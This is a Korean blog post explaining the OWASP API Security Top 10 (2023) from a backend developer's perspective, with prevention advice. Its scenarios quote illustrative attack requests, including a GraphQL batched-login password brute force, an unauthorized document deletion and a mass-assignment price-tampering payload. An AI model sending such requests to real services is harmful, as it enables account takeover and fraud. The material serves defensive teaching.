1. OWASP (Open Web Application Security Project)
📌 Introduction
이 내용을 분명히 예전에 정리했었다고 생각했는데, 블로그를 아무리 찾아도 보이질 않았다.
아마 한창 블로그 포스팅할 거리 쌓여있을 때, 리스트에 추가만 해놓고 잊어먹었던 거 같다.
여튼 링크드인 심심해서 뒤적거리다가 OWASP가 갱신될 거라는 뉴스를 접했는데, 'OWASP가 뭐더라...?'하고 멍 때리다가 검색해보니 예전에 이미 찾아봤던 내용이었다.
그렇다..또 로스트 테크놀러지를 발굴해냈다.
요새 어째 예전보다 바보가 되어가는 느낌이지만, 내 머리에 칩 연결해서 DB 연결하기 전까지는 뭐..잊어먹을 때마다 다시 찾아보는 수밖에.
그래도 잊어먹을 때마다 새롭게 공부하는 느낌이 즐겁긴 하다.
고려해봤던 요소들은 경험을 기반으로 추가 견해를 적어놨고, 그렇지 않은 영역은 내 나름대로의 해결책을 추가해봤다.
(공식 문서 번역만 하는 건 너무 노잼이라..)
📌 OWASP Top 10
OWASP Top 10은 Open Web Application Security Project의 약자로, 웹 애플리케이션 보안을 담당하는 비영리 단체에서 제공하는 웹 애플리케이션 보안 취약점 Top 10에 대한 자료다.
현직자들에게 전해들은 말이지만, API 서버로 온갖 공격이 들어온다고 한다. (특히 중국 트래픽이 상당)
여튼 이 과정에서 개인식별정보나 신용 정보 등의 민감한 데이터가 유출이 될 수도 있고, 적절하지 않은 사용자가 접근할 수도 있으니 이에 대한 API 보안 진단의 척도로서 활용하는 용도로 사용할 수 있다.

이게 원래 매년 갱신된다고 하는데, 최근 정보는 2023이 끝이다.
그런데 웹 페이지를 확인해보면 2025년 상반기에 곧 업데이트 될 거라고 하긴 하는데, 그건 그 때 가서 다시 정리하는 걸로.
참고로 이건 API Security에 대한 보안 사항만 알려주지만, LLM이나 Smart Contract와 같은 영역에 대한 내용들도 있다.
📌 Summary
우선 위 내용들을 간략하게 정리하면, 다음과 같은 내용들이다.
최대한 알맞게 번역을 해보려 하긴 했으나, 의역과 직역이 혼용된 상태라 원문을 읽는 게 최고입니다.
Risk | Description |
Broken Object Level Authorization | API 객체 식별자를 처리하는 end-point를 노출하는 경우가 많아, 객체 수준 접근 제어(Object Level Access Control) 문제의 공격 표면이 넓어진다. 사용자로부터 받은 ID를 사용해 데이터 소스(data source)에 접근하는 모든 기능에서 객체 수준의 권한 검사를 수행해야 한다. |
Broken Authentication | 잘못된 인증 메커니즘을 이용해 공격자가 인증 토큰을 손상시키거나, 구현 결함을 악용하여 다른 사용자의 신원을 일시적 또는 영구적으로 도용할 수 있다. 클라이언트/사용자를 식별하는 시스템의 기능이 손상되면, API 보안이 전반적으로 위협받는다. |
Broken Object Property Level Authorization | API3:2019 - Excessive Data Exposure(과도한 데이터 노출)과 API6:2019 - Mass Assignment(대량 할당)를 결합하여 근본적인 원인에 초점을 맞춘다. 객체 속성 수준에서 적절한 권한 검증 부족과 부적절함으로 인해, 권한이 없는 당사자에 의한 정보 노출 또는 조작으로 이어질 수 있다. |
Unrestricted Resource Consumption | API 요청을 처리하려면 네트워크 대역폭, CPU, 메모리, 스토리지와 같은 리소스가 필요하다. E-mail/SMS/Phone 또는 생체 인식 검증과 같은 다른 리소스는 API 통합을 통해, 서비스 제공자가 제공하여 요청당 비용을 지불한다. 성공적인 공격은 서비스 거부(Denial of Service) 또는 운영 비용 증가로 이어질 수 있다. |
Broken Function Level Authorization | 서로 다른 계층, 그룹, 역할이 있는 복잡한 액세스 제어 정책과 관리 기능은 일반 기능 간의 불분명한 구분은 권한 부여 결함으로 이어지는 경향이 있다. 공격자는 이러한 문제를 악용하여 다른 사용자와의 리소스 또는 관리 기능에 액세스할 수 있다. |
Unrestricted Access to Sensitive Business Flows | 티켓 구매, 댓글 작성과 같은 비즈니스 흐름을 제공하는 API들이 해당 위험에 취약하다. 이러한 기능이 제대로 된 보상 없이, 과도하게 자동화된 방식으로 사용될 경우 비즈니스에 피해를 줄 수 있다. 이는 반드시 구현 상의 결함으로 발생하지는 않는다. |
Server Side Request Forgery | 서버 측 요청 위조(SSRF) 결함은 API가 사용자가 제공한 URI를 검증하지 않고, 원격 리소스를 fetch할 때 발생할 수 있다. 방화벽이나 VPN으로 보호되는 환경에서도 공격자가 정교하게 만든 조작된 요청을 보내, 애플리케이션이 예상치 못한 대상에 전송하도록 애플리케이션을 속일 수 있다. |
Security Misconfiguration | API와 지원 시스템은 일반적으로 사용자 정의가 가능한 복잡한 설정을 포함한다. 소프트웨어와 DevOps 엔지니어들은 이러한 설정을 놓치거나, 설정에 대한 보안 모범 사례를 따르지 않을 수도 있다. 이는 다양한 유형의 공격에 대한 문을 열어놓는 행위다. |
Improper Inventory Management | API들은 전통적인 웹 애플리케이션보다 더 많은 end-points를 개방하는 경향이 있는데, 적절하고 업데이트된 문서가 매우 중요하다. 또한 호스트와 개발(배포)된 API 버전의 적절한 인벤토리(inventory) 관리 또한 deprecated API 버전과 디버그 end-points가 노출되는 등의 보안 문제가 발생할 수 있다. |
Unsafe Consumption of APIs | 개발자들이 사용자 입력보다 서드 파티(third-party) API로 부터 온 데이터를 더 신뢰하는 경향이 있어, 더 낮은 보안 기준을 채택하곤 한다. 공격자는 API를 손상시키기 위해서 직접적인 공격을 가하지 않고, 통합된 타사 서비스를 타겟으로 삼아 API를 위협할 수 있다. |
번역하면서 알고 있는 것도 있고, 이게 먼 소리지 싶은 것도 있었는데 차근차근 알아보자.
(뜬금 없지만, 나 생각보다 보안 규칙 잘 지키면서 개발했구나 싶어서 뿌듯했다. 물론 머리 한 번 깨져봐야 하는 부분도 있었지만..)
📝 객체(Object)와 개체(Entity)
Object를 객체라고 번역해두고, 이게 올바른지 확인하는데 여러 포스팅에서 "개체"라고 표기해둔 것을 확인했다.
그래서 내가 뭘 잘못 알고 있던 건가 싶었는데, 객체라고 표기하는 것이 올바르다고 판단했다.
객체(Object)는 소프트웨어또는 시스템 개발 맥락에선 사물을 표현하는 단위로써, 데이터 또는 행위를 포함한 소프트웨어 단위를 지칭한다.
이는 특정한 클래스가 될 수도 있고, 시스템 컴포넌트가 될 수도 있다.
반면, 개체(Entity)는 보다 구체적인 정보를 가짐으로써 실체화된다.
철학과 전산학에서 개체란 "인간의 개념 또는 정보의 세계에서 의미있는 하나의 정보 단위"라고 지칭하고 있기 때문이다.
한 가지 예시를 들어보자면, 학생(Student) 클래스는 객체(Object)지만,
학생이 이름, 학교, 학년 등의 실제 정보를 갖게 되는 순간 개체(Entity)가 되어 실체화된다는 것이다.
물론, 이는 틀릴 수도 있지만, 읽는 데 있어서 오해가 없길 바라는 마음에서 적어놓은 내용이다.
(언제나 이야기하지만 원문을 읽는 게 가장 정확합니다.)
2. API1:2023 - Broken Object Level Authorization
📌 취약한 객체 수준 인가
API1:2023 Broken Object Level Authorization - OWASP API Security Top 10
API1:2023 Broken Object Level Authorization Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Widespread : Detectability Easy Technical Moderate : Business Specific Attackers can exploit API endpoints that
owasp.org
💡 객체 ID를 통한 접근 시, 권한 검사를 누락하여 데이터가 유출될 수 있다.
API 객체 식별자를 처리하는 end-point를 노출하는 경우가 많아, 객체 수준 접근 제어(Object Level Access Control) 문제의 공격 표면이 넓어진다.
사용자로부터 받은 ID를 사용해 데이터 소스(data source)에 접근하는 모든 기능에서 객체 수준의 권한 검사를 수행해야 한다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 널리 퍼짐 : 감지 쉬움 | 기술 중간 : 비즈니스 특정 |
공격자는 요청에 포함된 객체의 ID를 조종하여 취약한 객체 수준 인가를 수행하는 API 엔드포인트를 악용할 수 있다. 객체 ID는 정수 시퀀스, UUID, 혹은 제네릭 문자열 무엇이든 될 수 있다. 데이터 유형과 관계없이, 공격자는 요청 대상(path 또는 query 문자열 매개변수), 요청 header 또는 요청 payload의 일부로 쉽게 식별할 수 있다. |
API 기반 애플리케이션에서 매우 흔하다. 왜냐하면 서버 컴포넌트는 일반적으로 사용자 상태를 모두 추적하는 대신, 객체에 접근하려고 하는 클라이언트가 전송하는 객체 ID와 같은 파라미터에 더 의존적이기 때문이다. 서버 응답은 일반적으로 요청이 성공했는지 파악하기에 충분하다. |
다른 사용자 객체의 미인가 접근은 공격자에게 데이터 공개, 데이터 손실, 혹은 데이터 조작으로 이어질 수 있다. 또한, 특정 상황에서 미인가 접근은 전체 계정 인수로 이어질 수도 있다. |
해당 파트를 읽고, 물개발로 박수를 쳤다. (난 틀리지 않았구나!)
권한 부여에 있어서 보통 인증/인가로 구분하는데, 둘의 차이는 다음과 같다.
- 인증: 해당 요청이 검증된 사용자로부터 온 것인지 판단.
- 인가: 검증된 사용자가 조회 혹은 조작하려는 자원에 대한 접근이 허용되어 있는지 판단.
백엔드 개발자들과 협업을 하다보면, 인증은 대부분 잘 지키는데, 인가에 대해 소홀히 하는 경우가 많다.
왜냐하면, 인증은 Spring Security같은 라이브러리 설정을 적용해놓는 것만으로도 얼추 거의 다 지켜지기 때문이다.
그러다보니, 인증된 사용자에겐 한없이 관대해지는 개발자들이 많은데, 제발 그러지 말아다오!
권한(Authority / Privilege)과 역할(Role)을 올바르게 적용하고, 자원 접근 검사를 올바르게 수행하는 것이 중요하다.
그렇지 않으면 수행 권한이 없는 사용자가 리소스를 조회/수정/삭제할 수 있다.
📌 Scenario #1
온라인 상점을 위한 이커머스 플랫폼은 호스팅된 상점의 수익 차트가 있는 목록 페이지를 제공한다.
브라우저 요청을 검사하면, 공격자는 해당 차트의 데이터 소스로 사용된 API 엔드포인트와 해당 패턴(`/shops/{shopName}/revenue_data.json`)을 식별할 수 있다.
다른 API 엔드포인트를 사용한다면, 공격자는 모든 호스팅된 상점 이름 리스트를 조회할 수 있다.
URL의 {shopName}을 변경하는 간단한 스크립트 만으로도, 공격자는 이커먼스 상점의 수천개의 판매 정보에 접근할 수 있다.
✨ ID는 비즈니스 의미를 가지고 있지 않은, 예측 불가능한 값을 사용해라. 되도록 노출조차 시키지 마라.
상점 이름, 블로그 이름, 사용자 이름과 같은 정보들은 비즈니스 의미를 가지고 있기에, 공격자가 충분히 예측할 수 있는 정보들이다.
하지만 그렇다고, MySQL에서 제공해주는 auto_increment과 같은 ID는 안전할까? 그렇지 않다.
auto_increment는 비록 비즈니스 의미를 담지는 않지만, "순차적"이라는 속성이 담겨있다.
예를 들어, 사용자가 계정을 생성하고, API 요청을 확인해 자신이 500이라는 ID를 가지고 있음을 확인했다고 하자.
공격자는 해당 서비스에는 대략 500명 정도의 사용자가 존재한다는 것을 유추할 수 있게 된다.
그럼, 1~499라는 값을 조작해서 API의 취약한 엔드 포인트에 요청을 보내면, 모든 사용자 정보를 조회할 수도 있게 된다.
GUID를 사용한 난수를 사용하면, 이러한 문제를 완화할 수 있다.
하지만 더 좋은 방법은 가능한 사용자에게 식별자를 노출하지 않는 것이다.
예를 들어, 현재 인증된 사용자의 ID와 속성(ex: JWT 또는 세션)만으로도 계정 세부 정보와 같은 일부 객체를 검색할 수 있어야 한다.
(물론, 한계가 있긴 하지만 Aggregate Root의 ID만 노출시키는 방법을 준수해볼 수 있을 것이다.)
📌 Scenario #2
자동차 제조업체가 드라이버의 모바일 폰으로 통신이 가능하도록 하는 모바일 API를 통해 자동차의 원격 조종을 허용해놓았다.
API는 드라이버가 원격으로 자동차의 시동을 켜고, 끄고, 문을 잠그거나 열 수 있도록 만들었다.
이 과정에서 사용자는 VIN(Vehicle Indentification Number)를 서버로 전송하는데, API는 VIN이 로그인한 사용자의 차량을 표현하는 지 확인하지 못하여 BOLA 취약성이 발생한다. (VIN은 올바른 사용자임을 검증하지 못 하기 때문에, 추가 정보를 받았어야 했는데 이를 안 받은 듯.)
즉, 공격자는 자신의 차량이 아닌 차량에도 접근이 가능하다.
📌 Scenario #3
온라인 문서 저장소 서비스가 사용자가 자신의 문서를 조회, 편집, 저장, 삭제하는 것을 제공한다.
사용자가 문서를 삭제할 때, 문서 ID와 함께 GraphQL 뮤테이션(GraphQL에서 데이터를 수정하는 기능)을 API로 전송한다.
POST /graphql
{
"operationName":"deleteReports",
"variables":{
"reportKeys":["<DOCUMENT_ID>"]
},
"query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
{
deleteReports(reportKeys: $reportKeys)
}
}"
}
그러나 문서와 함께 제공된 ID가 추가적인 권한 검사 없이 삭제되기 때문에, 사용자는 다른 사용자의 문서를 삭제할 수도 있다.
✨ 인증(Authentication) 이후엔, 적절한 인가(Authorization)도 수행하라.
이걸 놓치는 팀원들이 많았는데, 인증된 사용자라고 해서 모든 요청을 수용해주어서는 안 된다.
하지만 이런 이슈가 생각보다 발생할 경우는 적었는데, Enitty를 불러오기 위해 "사용자1이 문서A에 대한 정보를 조회"하는 과정에서 404 Not Found 에러가 발생하기 때문이다.
그런데, 이건 우연히 막아졌을 뿐, 구현을 어떻게 하느냐에 따라 정상적으로 삭제가 되었을 수도 있었다.
(만약, 사용자1의 ID를 외래키로 갖는 문서A 삭제 쿼리를 바로 전송했다면, 이는 통과했을 것이다.)
그리고 이건 단순 조회 실패가 아니라, 엄연히 보안 위협으로 봐야 한다.
다시 말해, 404 Not Found가 아니라, 403 Forbidden 예외를 반환하고 로그에 기록하는 게 옳다.
단순히 클라이언트 구현 실수거나, 사용자1의 삭제 요청을 동시에 여러개 수신한 것일 수도 있지만, 정말 악의적인 공격 시도일 수도 있기 때문이다.
📌 How To Prevent
- 사용자 정책과 계층 기반의 적절한 인가 메커니즘 구현
- 데이터베이스 레코드에 액세스하기 위해 클라이언트 입력을 사용하는 모든 기능에서, 로그인한 사용자가 레코드에 대해 요청된 작업을 수행할 수 있는 액세스 권한이 있는 지 확인하는 권한 부여 메커니즘 사용
- 레코드 ID에 대한 GUID로 무작위적이고 예측할 수 없는 값을 사용
- 권한 부여 메커니즘의 취약성을 평가하기 위한 테스트 작성. 테스트가 실패하게 만드는 변경 사항은 배포하지 않아야 한다.
📌 Personal Opinion
- 최소 권한 적용
- 마치 데이터베이스나 클라우드 사용자에게 최소한의 권한만 할당하는 것과 동일하다.
- 수직적 권한: 관리자는 일반 사용자 권한을 모두 포함한 추가 권한을 필요로 할 가능성이 높다.
- 수평적 권한: 회계사와 영업 담당자가 조직에서 같은 수준에 있더라도, 회계사는 고객 데이터베이스 접근 권한이 있어서는 안 되고, 영업 담당자는 급여 데이터에 접근할 수 없어야 한다.
- 거부를 기본적으로 적용하고, 단계적으로 풀기
- 소프트웨어 개발에서 일단 모든 접근 제어를 private로 막아두는 것과 동일하다.
- 애플리케이션은 일단 모든 요청을 거부하도록 구성하고, 새로운 리소스를 노출하더라도 최소한의 권한이나 그룹에 대해서만 허용하면서 단계적으로 풀어야 한다. (정당성이 없다면 풀어선 안 된다.)
- 프레임워크나 라이브러리가 기본적으로 거부하는 전략을 택하더라도, 명시적으로 구성하는 것이 낫다.
- 모든 요청에 대한 권한 검증
- 잊지 말아야 할 것, 개발자는 100개의 엔드 포인트 중 99개를 완벽히 방어하더라도, 1개라도 뚫리면 공격자의 승리다.
- Spring의 경우 Spring Security와 같은 전역 구성에 필터를 적용해, 모든 요청에 대해 최소한의 인가를 수행할 수 있다.
- 정적 리소스에 대한 권한 부여 검사
- 데이터베이스 저장소를 보호하는 것을 의식하는 개발자는 많지만, 정적 리소스(ex: AWS S3)는 그만큼 신경을 쓰지 않는 경우가 많다.
- 가능하다면 애플리케이션 리소스와 기능을 보호하는 것과 동등한 수준의 접근 제어 논리와 메커니즘을 사용하여 보호해야 한다.
- 권한 확인 위치 확인
- 클라이언트 측의 접근 제어 검사는 우회하기 쉽다. 이는 사용자 경험을 개선하는 목적으로만 사용하자. (네트워크 요청을 보내지 않아도 확인이 가능하므로, 사용자에게 응답이 빠름.)
- 서버 내에서도 권한 검사 컴포넌트가 일관되지 않은 경우를 주의하라. (내가 그랬었다...😂)
- 예를 들어, @PreAuthroize에서 검사한 내용을 비즈니스 로직에서는 다시 검증을 수행하지 않았는데, 추가적인 권한 검사를 수행했어야 할 다른 비즈니스 로직에서 @PreAuthorize 인가 로직을 재활용했다가 보안이 뚫린 적이 있었다.
- 권한 확인 실패에 대한 처리
- 굳이 악의적인 공격이 아니더라도 접근 실패 예외는 자주 발생하는 현상이다. 이를 올바르게 처리하지 않으면, 애플리케이션이 예측 불가능한 상태로 남을 수 있다.
- 모든 예외와 실패한 접근 실패 검사가 아무리 가능성이 없어 보여도 되도록 처리하자.
- 민감한 정보가 오류 메시지에 노출되지 않도록 만들어야 한다.
- 적절한 로깅을 통해 보안 감사를 용이하게 만들 수 있도록 하자. 다만, 로깅 양이 너무 많아도 보안 취약점이 되니, 적절한 양을 결정해야 한다.
3. API2:2023 - Broken Authentication
📌 취약한 인증
API2:2023 Broken Authentication - OWASP API Security Top 10
API2:2023 Broken Authentication Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Common : Detectability Easy Technical Severe : Business Specific The authentication mechanism is an easy target for attacke
owasp.org
💡 잘못된 인증 구현으로 공격자가 다른 사용자 계정을 탈취할 수 있다.
잘못된 인증 메커니즘을 이용해 공격자가 인증 토큰을 손상시키거나, 구현 결함을 악용하여 다른 사용자의 신원을 일시적 또는 영구적으로 도용할 수 있다.
클라이언트/사용자를 식별하는 시스템의 기능이 손상되면, API 보안이 전반적으로 위협받는다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 일반 : 감지 쉬움 | 기술 심각 : 비즈니스 특정 |
인증 메커니즘은 모든 사람에게 노출되어 있기 때문에 공격자의 표적이 되기 쉽다. 비록 일부 인증 문제를 악용하려면 더 진보된 기술이 요구될테지만, 악용 도구는 일반적으로 제공된다. |
소프트웨어와 보안 엔지니어들의 인증 경계와 본질적 구현 복잡도에 대한 오해로 인해 인증 문제가 만연하다. 취약한 인증을 감지하는 방법론이 존재하며, 쉽게 구현할 수 있다. |
공격자는 시스템 내에서 다른 사용자 계정의 완전한 제어권을 얻을 수 있으며, 개인 정보 열람과 민감한 작업을 수행할 수 있다. 시스템은 공격자의 작업과 합법적인 사용자 작업을 구별할 수 없을 가능성이 크다. |
인증은 본인 또는 주장하는 내용을 검증하는 프로세스다.
이를 위해, 하나 이상의 인증 정보(ex: 비밀번호, 지문, 인증 토큰 등)의 유효성을 판단한다.
인증 도메인은 대부분 이미 모범적인 기준들이 존재하며, 이를 잘 따르기만 해도 반은 간다.
예를 들어,
- 비밀번호는 최소 8자, 최대 64자 여야 한다. 8자보다 짧으면 취약한 것으로 간주(NIST SP800-63B)되며, 64자보다 길면 해싱 알고리즘의 특정 구현이 긴 비밀번호 서비스 거부를 초래할 수 있다.
- 허용되는 문자 유형을 제한하는 비밀번호 구성 규칙은 없어야 한다.
- 사용자한테 주기적인 비밀번호 변경을 요구하지 말고, 다중 인증 치트 시트(MFA)를 활성화하도록 권장해야 한다.
이러한 규칙들을 서비스 자체적으로 판단해서 결정하는 경우가 많은데, 그러지 말라는 이야기다. (근데 비밀번호 최대 길이 규칙은 나도 처음 알았다.)
그리고 사용자 계정의 중요 정보를 변경하는 경우도 동일한 수준의 보안 정책을 유지해야 한다.
예전 프로젝트에서 IA를 잘못 파악한 디자인팀에서, 사용자 정보 수정 UI로 접근하기 전에 비밀번호 인증 페이지를 누락한 적이 있었다.
이렇게 되면, 그저 유효한 토큰을 가지고만 있는 누구나 사용자 정보를 수정할 수 있다는 문제가 있었다. 그래서 현재 비밀번호를 재확인하는 API를 추가했었다.
그러나 여기엔 두 가지 문제가 있는데,
- 비밀번호 확인 API에 트래픽 처리 제한을 걸지 않아서, 인증 토큰을 낚아챘다면 무차별 대입 공격으로 정보를 알아낼 수 있다.
- 비밀번호 확인 API를 거치고 정보 수정 API를 호출하는 지 확인을 하지 않아서, 토큰을 낚아 챈 뒤, Postman 같은 애플리케이션으로 요청을 보내버리면 통과된다.
물론, HTTPS의 보안성을 믿고 풀어두긴 했으나, 이 점은 충분히 보안 취약점이라고 볼 수 있다.
📌 Scenario #1
사용자 인증을 수행하기 위해, 클라이언트가 다음과 같은 요청을 API로 전송해야 한다.
POST /graphql
{
"query":"mutation {
login (username:\"<username>\",password:\"<password>\") {
token
}
}"
}
자격 증명이 유효하다면 인증 토큰이 반환되며, 이는 후속 요청에서 사용자 식별을 위해 사용된다.
단, 여기서 로그인 시도는 분당 3개의 요청만 허용하도록 했다고 가정하자.
하지만 공격자가 GraphQL 쿼리 배칭을 활용해 무차별 대입 공격을 하면, 요청 속도 제한을 우회하고, 공격 속도 또한 높일 수 있다.
POST /graphql
[
{"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"},
...
{"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"},
]
📌 Scenario #2
사용자 계정과 연결된 이메일 주소를 업데이트하기 위해, 클라이언트가 다음과 같은 API 요청을 전송해야 한다.
Authorization: Bearer <token>
{ "email": "<new_email_address>" }
API는 사용자에게 현재 비밀번호를 제공하여 신원을 확인할 것을 요구하지 않고 있다.
즉, 공격자가 인증 토큰을 훔치는 것에 성공한다면, 해당 사용자 계정의 이메일 주소를 업데이트한 후, 비밀번호 재설정 워크플로를 따라 계정을 인수할 수 있게 된다.
📌 How To Prevent
- API에 인증하기 위한 모든 예상 가능 경로(모바일/웹/원클릭 인증을 구현하는 딥 링크 등)를 파악해야 한다.
- 인증 메커니즘에서 무엇이 어떻게 사용되는 지 잘 이해해야 한다. OAuth는 인증이 아니고, API 키도 마찬가지다.
- OAuth는 권한 위임(delegation) 프로토콜로써, 한 서비스가 다른 서비스 리소스에 접근할 수 있도록 허용하는 방법이지, "당신이 주장하는 그 사람이 본인인지 확인하는 과정"이 아니다. 인증은 Provider가 하고, 사용자는 정보 접근 권한을 우리 서비스에 위임(Authorization)하는 것이다.
- API 키 또한 "이 요청이 허용된 클라이언트로부터 왔다"는 것을 보여줄 뿐이지, "이 사용자가 누구다"라는 정보를 제공하지는 않는다.
- 인증, 토큰 생성, 비밀번호 저장 시, 괜히 이상한 거 만들지 말고 표준을 따라라.
- 자격 증명 복구/비밀번호 분실 엔드포인트는 무차별 대입 공격, 트래픽 처리율 제한 및 잠금 보호 측면에서 로그인 엔드포인트로 처리해야 한다.
- 뭔 소린가 했는데, 5번 연속 로그인 실패하면 계정 잠그는 것처럼, 계정 복구에도 동일한 수준의 보안을 적용하라는 이야기가 된다.
- 민감한 작업(ex: 계정 소유자의 민감한 정보 변경)에 대한 재인증을 요구해야 한다.
- 가능하다면 다중 요소 인증을 구현하라.
- 인증 엔드포인트에서 자격 증명 채우기, 사전 공격 및 무차별 대입 공격을 완화하기 위한 무차별 대입 방지 메커니즘을 구현해야 한다. 이 메커니즘은 일반적인 API 트래픽 제한 메커니즘보다 엄격해야 한다.
- 과거 인스타그램에서 비밀번호 찾기를 위해 6자리 인증 코드를 입력해야 하는데, 특정 IP 주소에서의 시도 횟수에만 트래픽 처리율 제한을 걸어놨었다. Muthiyah라는 사람은 이 점을 이용해, 5,000개의 IP를 클라우드 서비스 공급자를 통해 차용하고, 100만 개의 무작위 코드 조합 공격을 수행하면, 약 150달러로 이를 파훼할 수 있다는 것을 알아낸 적이 있다. [참고 링크]
- 특정 사용자에 대한 무차별 대입 공격을 방지하기 위한 계정 잠금 혹은 캡차 메커니즘을 구현해야 한다. (약한 비밀번호 검사)
- API 키는 사용자 인증에 사용하지 말고, API 클라이언트 인증에만 사용하라.
📌 Personal Opinion
- 인증 메커니즘에 있어서는 꼭 잘 알려진 표준 절차를 따르도록 하자. 보안 연구라도 하는 게 아니라면, 이런 곳에서 창의성을 발의해선 안 된다.
- 비밀번호 찾기를 위해 OWASP에서 제공하는 Forgot Password Cheat Sheet를 참고하자.
- 최근에는 ID/PW 기반의 로그인 자체를 없애버리는 경우도 많다. 어차피 사용자 대부분 OAuth 로그인을 하는데, 이런 보안 취약점 관리하는 게 너무 까다롭기 때문이다. 서비스 자체 인증 기능이 필요한지 검토해보자.
- 서비스 자체에서 사용할 닉네임을 입력하는 서비스의 경우, 회원 가입 과정에서 이미 존재하는 닉네임 정보들을 알아낼 수 있다. 만약, 로그인에 적절한 트래픽 제한 장치가 없다면, 무차별 대입 공격으로 뚫을 수 있다는 문제도 있다.
- 비밀번호는 안전하게 보관하자. 이 또한 OWASP의 Password Storage Cheat Sheet를 참고하면 된다.
- 비밀번호나 사용자 정보 수정과 같은 민감한 기능에는 반드시 재인증을 요구해야 한다. 이러한 대책이 없다면, CSRF 혹은 XSS 공격을 통해 쉽게 침투할 수 있다.
- TLS와 같은 암호화된 메시지에서만 비밀번호 전송을 허용해야 한다.
- 인증 메커니즘의 응답은 사용자 ID/PW 비밀번호 틀림, 계정 잠김, 계정 비활성화 여부와 상관없이, 일반 오류 메시지로 응답해야 한다.
- 오류 메시지에 상세한 정보를 담으면, 공격자가 단순히 열거 목적으로 사용할 수 있다.
- 사용자가 ID나 PW를 틀렸거나, 잠금 계정에 로그인한 경우 모두 "ID 또는 PW가 잘못되었습니다"라고 보여줘야 한다.
- 이메일 인증으로 비밀번호 변경 메커니즘을 적용한다면, "해당 이메일 주소가 저희 데이터베이스에 있다면, 비밀번호 재설정을 위한 이메일을 보내드리겠습니다"가 가장 적절하다. 공격자는 이메일이 데이터베이스에 존재하는지, 존재하지 않는 지 식별할 수 없게 된다.
- 계정 생성의 경우에도 이미 사용 중인 ID 메시지나, 성공적으로 가입되었다는 메시지 대신, 계성 활성화 링크가 제공된 주소를 이메일 등으로 전송해주는 게 안전하다.
4. API3:2023 - Broken Object Property Level Authorization
📌 취약한 객체 속성 수준 권한 부여
API3:2023 Broken Object Property Level Authorization - OWASP API Security Top 10
API3:2023 Broken Object Property Level Authorization Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Common : Detectability Easy Technical Moderate : Business Specific APIs tend to expose endpoints that
owasp.org
💡 속성 단위의 접근 제어가 부족하여, 민감한 데이터가 노출될 수 있다.
API3:2019 - Excessive Data Exposure(과도한 데이터 노출)과 API6:2019 - Mass Assignment(대량 할당)를 결합하여 근본적인 원인에 초점을 맞춘다.
객체 속성 수준에서 적절한 권한 검증 부족과 부적절함으로 인해, 권한이 없는 당사자에 의한 정보 노출 또는 조작으로 이어질 수 있다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 일반 : 감지 쉬움 | 기술 중간 : 비즈니스 특정 |
API는 모든 객체 속성을 반환하는 엔드 포인트를 노출시키는 경향이 있다. 이는 특히 REST APIs에서 유효하다. GraphQL과 같은 다른 프로토콜의 경우, 반환해야 할 속성 지정을 위해 정교한 요청이 필요할 수도 있다. 조작할 수 있는 추가 속성을 식별하려면 더 많은 노력이 필요하겠지만, 이 작업을 지원하는 몇 가지 자동화된 도구들이 존재한다. |
API 응답을 분석하는 것은 반환된 객체의 표현에서 민감한 정보를 식별하기 충분하다. 퍼징(Fuzzing)은 일반적으로 추가적인 (숨겨진) 속성을 식별하는데 사용된다. 이를 변경될 수 있는지는 API 요청 제작과 응답을 분석하는 문제다. 부수 효과(side-effect) 분석은 타겟 속성이 API 응답으로 반환되지 않는 경우 필요할 것이다. |
비공개/민갑한 객체 속성으로의 미인가 접근은 데이터 공개, 데이터 손실 혹은 데이터 손상으로 이어질 수 있다. 특정 환경에서는, 객체 속성으로의 미인가 접근이 권한 상승 또는 부분/전체 계정 인수로 이어질 수 있다. |
이 문제는 요청과 응답에서 Entity를 그대로 사용하지 말고, DTO를 사용하는 것만으로도 완화할 수 있다.
예를 들어,
@RequestMapping(value = "/addUser", method = RequestMethod.POST)
public User submit(User user) {
user = userService.add(user);
return user;
}
위와 같은 방법은 두 가지 문제가 존재한다.
- 사용자에게 user 개체의 세부 필드를 모두 노출시킨다.
- 사용자가 세부 필드를 알기만 한다면, 페이로드를 조작해 자신에게 admin 권한을 부여하는 등의 조작을 수행할 수 있다.
따라서, 위 요청을 올바르게 처리한다면
@RequestMapping(value = "/addUser", method = RequestMethod.POST)
public UserAddResponse submit(UserAddRequest request) { // 제한된 속성 정보만 요청
User user = userService.add(request.toEntity());
return UserAddResponse.createInstance(user); // 제한된 속성 정보만 반환
}
누가 이런 바보같은 실수를 하겠나 싶겠지만, 2012년 Github에서 대량 할당을 사용하다가 해킹 당한 사례가 있다.
📌 Scenario #1
데이트 매칭 앱에서 사용자가 다른 사용자의 부적절한 행동을 신고할 수 있다.
이 흐름의 일부로 사용자는 신고 버튼을 클릭하고, 다음과 같은 API 호출이 트리거 된다.
POST /graphql
{
"operationName":"reportUser",
"variables":{
"userId": 313,
"reason":["offensive behavior"]
},
"query":"mutation reportUser($userId: ID!, $reason: String!) {
reportUser(userId: $userId, reason: $reason) {
status
message
reportedUser {
id
fullName
recentLocation
}
}
}"
}
API의 엔드포인트는 인증된 사용자가 다른 사용자가 접근해서는 안 되는 fullName 및 recentLocation과 같은 중요 사용자 개체 속성에 접근할 수 있도록 허용하기 때문에 취약하다.
📌 Scenario #2
사용자(호스트)가 자신의 아파트를 다른 사용자(게스트)에게 임대해주는 플랫폼에서, 숙박 요금을 청구하기 전에 게스트의 예약을 수락하도록 요구한다.
여기서 `POST /api/host/approve_booking`으로 다음과 같은 페이로드를 포함한 API 호출이 발생한다.
{
"approved": true,
"comment": "Check-in is after 3pm"
}
그런데 여기서 호스트가 악성 페이로드를 추가하여 조작한다면?
{
"approved": true,
"comment": "Check-in is after 3pm",
"total_stay_price": "$1,000,000"
}
